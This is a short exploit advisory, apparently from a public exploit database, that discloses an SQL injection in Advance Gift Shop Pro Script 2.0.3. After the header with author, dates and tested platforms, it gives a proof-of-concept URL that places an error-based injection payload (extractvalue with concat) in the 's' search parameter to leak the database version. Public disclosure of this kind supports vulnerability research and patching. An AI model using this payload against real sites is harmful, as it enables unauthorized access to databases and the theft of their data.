Advance Gift Shop Pro Script 2.0.3 SQL Injection

`# Exploit Title: Advance Gift Shop Pro Script 2.0.3 - SQL Injection  
# Exploit Author: Mr Winst0n  
# Author E-mail: manamtabeshekan[@]gmail[.]com  
# Discovery Date: February 21, 2019  
# Vendor Homepage: http://www.phpscriptsmall.com/  
# Software Link : https://www.phpscriptsmall.com/product/gifts-shop/  
# Tested Version: 2.0.3  
# Tested on: Kali linux, Windows 8.1   
  
  
# PoC:  
  
# http://localhost/[PATH]/?category=&s=[SQL]&search_posttype=product  
# http://localhost/[PATH]/?category=&s=1%20and%20extractvalue(rand(),concat(0x7e,version()))&search_posttype=product  
`